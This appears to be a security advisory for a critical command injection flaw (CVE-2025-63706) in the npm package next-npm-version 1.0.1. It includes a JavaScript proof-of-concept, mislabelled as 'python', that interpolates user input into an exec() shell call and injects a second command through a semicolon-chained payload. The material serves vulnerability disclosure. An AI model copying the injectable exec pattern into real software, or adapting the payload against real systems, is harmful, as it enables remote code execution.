NPM package next-npm-version1.0.1 is vulnerable to Command injection.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
next-npm-version 1.0.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-63706: Command Injection in next-npm-version
// This demonstrates how unsanitized input leads to RCE.
const { exec } = require('child_process');
// Simulating the vulnerable function in next-npm-version 1.0.1
function checkVersion(userInput) {
// Vulnerability: Direct interpolation of user input into a command string
const command = `npm view ${userInput} version`;
console.log(`Executing: ${command}`);
exec(command, (error, stdout, stderr) => {
if (error) {
console.error(`Error: ${error.message}`);
return;
}
if (stderr) {
console.error(`Stderr: ${stderr}`);
return;
}
console.log(`Output: ${stdout}`);
});
}
// Attack Vector: Injecting a shell command to create a proof file
// Using a semicolon to chain commands
const payload = "1.0.1; touch /tmp/CVE-2025-63706_PWNED; #";
checkVersion(payload);